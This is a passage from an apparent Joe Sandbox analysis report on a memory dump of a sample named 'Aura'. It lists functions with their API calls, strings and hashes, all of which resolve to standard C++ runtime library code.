Instruction ID: 191a637f09b986c88c6d2a1961bdf1185aa3e3c610e0e9ccb3fd5d01dcc1160c
Opcode Fuzzy Hash: a8dbf6586718f7ee27c4c04d2f3eaf94c256293f6759752b996086bf92794dab
Instruction Fuzzy Hash: B6B1F178A04A499FDB11CFA8DC81FEEBBF0BF46311F14415DE9049B292C775A981CBA0

Function 000A9B30 Relevance: 9.1, APIs: 6, Instructions: 125COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 000A9C97
std::_Throw_Cpp_error.LIBCPMT ref: 000A9CA8
std::_Throw_Cpp_error.LIBCPMT ref: 000A9CBC
std::_Throw_Cpp_error.LIBCPMT ref: 000A9CDD
std::_Throw_Cpp_error.LIBCPMT ref: 000A9CEE
std::_Throw_Cpp_error.LIBCPMT ref: 000A9D06

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: 7f496bb3b37bb7aeea23fe749f6603dd3ef3368323919dadd5738ee7107feae7
Instruction ID: e2be30453613de19f6f0e1d129d7e393893d93cb1ec8d4631529b8552d84534f
Opcode Fuzzy Hash: 7f496bb3b37bb7aeea23fe749f6603dd3ef3368323919dadd5738ee7107feae7
Instruction Fuzzy Hash: DE41B1B1A00B45CBDB309BE489467EFB7F4AF47324F18062DD56A262D3D7716904CBA2

Function 000BACE7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000BACDE,000B0760,000AB77F,F7EDDA51,?,?,?,?,000CBFCA,000000FF), ref: 000BACF5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 000BAD03
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 000BAD1C
SetLastError.KERNEL32(00000000,?,000BACDE,000B0760,000AB77F,F7EDDA51,?,?,?,?,000CBFCA,000000FF), ref: 000BAD6E

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 9bf5911b895fef929749a55dd7419cec3ce55a34d8e5745bc353ad95756e03ba
Instruction ID: 022e422ad9c59d92eff771dac21e5234fefd1dee68f19250101a6fb893c365a9
Opcode Fuzzy Hash: 9bf5911b895fef929749a55dd7419cec3ce55a34d8e5745bc353ad95756e03ba
Instruction Fuzzy Hash: 9001F13231A615AEB7342778BC85EEA3BC4EB02B71720033FFA11415F1EF1648069151

Function 000BB56E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 000BB68D
CallUnexpected.LIBVCRUNTIME ref: 000BB906

Strings

csm, xrefs: 000BB618
csm, xrefs: 000BB6C4
csm, xrefs: 000BB5AB

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 44286b8d18bd61fcbd3bc60fef3fdc5424ead83abdd24c7e892b8b0ffed606d4
Instruction ID: b5af7eb2ab4df3231db034709e01d123cf190e6d52cbff01769be434e37afeda
Opcode Fuzzy Hash: 44286b8d18bd61fcbd3bc60fef3fdc5424ead83abdd24c7e892b8b0ffed606d4
Instruction Fuzzy Hash: 5DB16671900209EFCF24DFA5C8819EEBBB9FF14310F14456AE8116B212DBB5DA61CF92

Function 000ABE95 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 000ABF44
std::_Ref_count_base::_Decref.LIBCPMT ref: 000AC028

Strings

csm, xrefs: 000ABEB7
RCC, xrefs: 000ABEAB
MOC, xrefs: 000ABE9F

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 3859590004ede0d79d26d730ea26c521cb6610b710b92fed3fd3fc1892293f60
Instruction ID: 5bb2a6f73fcb4e8a73405aba0ceab59f56fa649bc43957b1cc9387c71836a236
Opcode Fuzzy Hash: 3859590004ede0d79d26d730ea26c521cb6610b710b92fed3fd3fc1892293f60
Instruction Fuzzy Hash: 3D41BA74900204DFCF28DFA8C9459EEB7F5AF4A300F58806DE449AB653CB38AE04CB52

Function 000B55C4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,F7EDDA51,?,?,00000000,000CBE94,000000FF,?,000B5685,00000002,?,000B5721,000B8396), ref: 000B55F9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 000B560B
FreeLibrary.KERNEL32(00000000,?,?,00000000,000CBE94,000000FF,?,000B5685,00000002,?,000B5721,000B8396), ref: 000B562D

Strings

mscoree.dll, xrefs: 000B55F2
CorExitProcess, xrefs: 000B5603

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ef4003b812754d3fbd97990582050fe27a432330cbcdde01ee9304b2c4084d7d
Instruction ID: 4bb3ce20d1918b00c5662f9c64628c3b48e9da1ece0ee1dae6daba3ff6b1bef6
Opcode Fuzzy Hash: ef4003b812754d3fbd97990582050fe27a432330cbcdde01ee9304b2c4084d7d
Instruction Fuzzy Hash: BE016231A51629AFDB119F54DC09BEEB7F8FB04B16F00052AFC11A7290DB7A9900CAA0

Function 000BD6EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 000BD76F
__alloca_probe_16.LIBCMT ref: 000BD838
__freea.LIBCMT ref: 000BD89F

Part of subcall function 000BBF11: RtlAllocateHeap.NTDLL(00000000,000BDF35,?,?,000BDF35,00000220,?,00000000,?), ref: 000BBF43

__freea.LIBCMT ref: 000BD8B2
__freea.LIBCMT ref: 000BD8BF

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 03eafbf800552b9ab34e555c501cc7147467724b7d452f4f78dd146e77cc795a
Instruction ID: a4fc5b2e8ef1f26a667b3370ebc0b3095f324b884359ff6c124caa44b53371b3
Opcode Fuzzy Hash: 03eafbf800552b9ab34e555c501cc7147467724b7d452f4f78dd146e77cc795a
Instruction Fuzzy Hash: 04519172600206AFEB219FA1CC85EFBBAE9EF45711B15012BFD04D6252FF71DC1096A0

Function 000AEFF1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000AF005
AcquireSRWLockExclusive.KERNEL32(000A8E38), ref: 000AF024
AcquireSRWLockExclusive.KERNEL32(000A8E38,000AA2F0,?), ref: 000AF052
TryAcquireSRWLockExclusive.KERNEL32(000A8E38,000AA2F0,?), ref: 000AF0AD
TryAcquireSRWLockExclusive.KERNEL32(000A8E38,000AA2F0,?), ref: 000AF0C4

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: af26108f8c5b3d18a8763f6c4c26c4d37ec5e4d5e9590b942aacebc13679832f
Instruction ID: 000f2ddbae669f30184dab5f8810313d430afc9d5b0eae69dab7afea35ab2c1f
Opcode Fuzzy Hash: af26108f8c5b3d18a8763f6c4c26c4d37ec5e4d5e9590b942aacebc13679832f
Instruction Fuzzy Hash: 5D411671A0060BDBCB20DFE5C885DBAB3F5FF06311B204A3AE45697642DB35E985CB61

Function 000AD4C2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000AD4C9
std::_Lockit::_Lockit.LIBCPMT ref: 000AD4D3
int.LIBCPMT ref: 000AD4EA

Part of subcall function 000AC1E5: std::_Lockit::_Lockit.LIBCPMT ref: 000AC1F6
Part of subcall function 000AC1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 000AC210

codecvt.LIBCPMT ref: 000AD50D
std::_Lockit::~_Lockit.LIBCPMT ref: 000AD544

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 691e97bf17c896d67bfcc7c08340ca64211d3d50b519151ba92ea161ab7d4f19
Instruction ID: 54c3ad681c965fee2f82dd1567682e110888dc45d20ac2340bd387a6ef7b7ef6
Opcode Fuzzy Hash: 691e97bf17c896d67bfcc7c08340ca64211d3d50b519151ba92ea161ab7d4f19
Instruction Fuzzy Hash: 78018B71D005168FDB01EBE4C901EFEB7B5AF86324F15000AE816AB2D3CF389A00CB92

Function 000AADD7 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000AADDE
std::_Lockit::_Lockit.LIBCPMT ref: 000AADE9
std::_Lockit::~_Lockit.LIBCPMT ref: 000AAE57

Part of subcall function 000AACAA: std::locale::_Locimp::_Locimp.LIBCPMT ref: 000AACC2

std::locale::_Setgloballocale.LIBCPMT ref: 000AAE04
_Yarn.LIBCPMT ref: 000AAE1A

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: b6cdf311eb6274297c9447969e0286f058f431b95d2b7ff0a203fbe75130e034
Instruction ID: 4209b2447a6202b87c72fd8794c2d3dda22b26107daa83cfeec90f8cb025ad10
Opcode Fuzzy Hash: b6cdf311eb6274297c9447969e0286f058f431b95d2b7ff0a203fbe75130e034
Instruction Fuzzy Hash: 5501B175A012219BEB05EBA0D8519BD77B5FF86750B04400AE801573C2CF385E42CFA2

Function 000C0976 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000BC16A: GetLastError.KERNEL32(?,?,000B5495,000D8E38,0000000C), ref: 000BC16E
Part of subcall function 000BC16A: SetLastError.KERNEL32(00000000), ref: 000BC210

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,000B5BD5,?,?,?,00000055,?,-00000050,?,?,?), ref: 000C0A35
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,000B5BD5,?,?,?,00000055,?,-00000050,?,?), ref: 000C0A6C

Strings

utf8, xrefs: 000C0B3E
,K, xrefs: 000C09E9

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: ,K$utf8
API String ID: 943130320-294975348
Opcode ID: 51b0fd9935c2f61c0e7582062ef060c57234faf7a82d789ea3bb9fe1bd4127c1
Instruction ID: 0469c988dc0ff20b132f20e40ea3bd7b07cb55ab708c5a37f50120efa173654a
Opcode Fuzzy Hash: 51b0fd9935c2f61c0e7582062ef060c57234faf7a82d789ea3bb9fe1bd4127c1
Instruction Fuzzy Hash: 0951C231644705EAEB68AB358C42FEE73E8EF45704F14042EF6499B182E771ED80C765

Function 000A73E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 000A7526
___std_exception_copy.LIBVCRUNTIME ref: 000A7561

Part of subcall function 000AAF37: CreateThreadpoolWork.KERNEL32(000AB060,000A8A2A,00000000), ref: 000AAF46
Part of subcall function 000AAF37: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 000AAF53

Strings

G., xrefs: 000A7551
Fail to schedule the chore!, xrefs: 000A7560

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Concurrency::details::_$CreateRelease_choreReschedule_choreThreadpoolWork___std_exception_copy
String ID: Fail to schedule the chore!$G.
API String ID: 3683891980-2786361616
Opcode ID: ccffe14c261088fb7d8ca98b319ffa2ca07b2981fc6f1548f45f8b36e24d6a2c
Instruction ID: bf639ead6aa740d980b06e4bb4622d1de71edb97a0bcf440b9aee16dedd2bec3
Opcode Fuzzy Hash: ccffe14c261088fb7d8ca98b319ffa2ca07b2981fc6f1548f45f8b36e24d6a2c
Instruction Fuzzy Hash: 04519EB0D012089FCB14DF94DC44BAEBBB4FF09314F14812AE8196B391E7799905CFA1

Function 000A3E90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000A3EC6
std::_Lockit::~_Lockit.LIBCPMT ref: 000A4002

Part of subcall function 000AABC5: _Yarn.LIBCPMT ref: 000AABE5
Part of subcall function 000AABC5: _Yarn.LIBCPMT ref: 000AAC09

Strings

bad locale name, xrefs: 000A3F46
|=e., xrefs: 000A3E9B, 000A3F1F

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: LockitYarnstd::_$Lockit::_Lockit::~_
String ID: bad locale name$|=e.
API String ID: 2070049627-889109421
Opcode ID: 33798fb511960b189e94c5d8fb12844941172357d85b199930ada0d6fe980cef
Instruction ID: 0e1b08839cbdceb16304edd4e14f10eb546439d77692820740470beb04badd4d
Opcode Fuzzy Hash: 33798fb511960b189e94c5d8fb12844941172357d85b199930ada0d6fe980cef
Instruction Fuzzy Hash: DE415CF0E007459BEB10DF69C805B97BAF8BF05714F044628E5499B781E77AE518CBE2

Function 000AB755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 000AB809

Strings

RCC, xrefs: 000AB795
csm, xrefs: 000AB7A1
MOC, xrefs: 000AB789

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: bd001702a50e86c7a0a7331e7aaed4097b79120fb0558fd783fd1bf038654a0c
Instruction ID: 4ce2f4e63de3be40e91e05ea6ff0d1fae27d69fff04af16f1e4718b518612458
Opcode Fuzzy Hash: bd001702a50e86c7a0a7331e7aaed4097b79120fb0558fd783fd1bf038654a0c
Instruction Fuzzy Hash: 4221CF358042059FDB249FE8C856AAEB7ECEF42720F14451EE41187693DB78AA41CA81

Function 000AF11D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,000A253A,?,?,00000000), ref: 000AF129
GetExitCodeThread.KERNEL32(?,00000000,?,?,000A253A,?,?,00000000), ref: 000AF142
CloseHandle.KERNEL32(?,?,?,000A253A,?,?,00000000), ref: 000AF154

Strings

:%, xrefs: 000AF134

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: CloseCodeExitHandleObjectSingleThreadWait
String ID: :%
API String ID: 2551024706-3734732973
Opcode ID: e902795b20570790acc577d7d92016794a76dfa951f200ee5abc35cd644fcafb
Instruction ID: 214d5edd43eab8caa10170653656c0fd26f790e5b88f4260907e214bbefca695
Opcode Fuzzy Hash: e902795b20570790acc577d7d92016794a76dfa951f200ee5abc35cd644fcafb
Instruction Fuzzy Hash: F0F08231655115EFEF508FA4DC05ABA3BA4EB02770F640321FC21EA1E0E735EE408690

Function 000AABC5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 000AABE5
_Yarn.LIBCPMT ref: 000AAC09

Strings

e., xrefs: 000AABD9
|=e., xrefs: 000AABC8

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Yarn
String ID: e.$|=e.
API String ID: 1767336200-1338432414
Opcode ID: 6f6eb047cc6784a691706be6792174063844891b047b8ad7013dadebdb3f659a
Instruction ID: 59a1476ce851f2f25e90512a67f00d2d72d0353d3ee38597134ef4e8fa53859c
Opcode Fuzzy Hash: 6f6eb047cc6784a691706be6792174063844891b047b8ad7013dadebdb3f659a
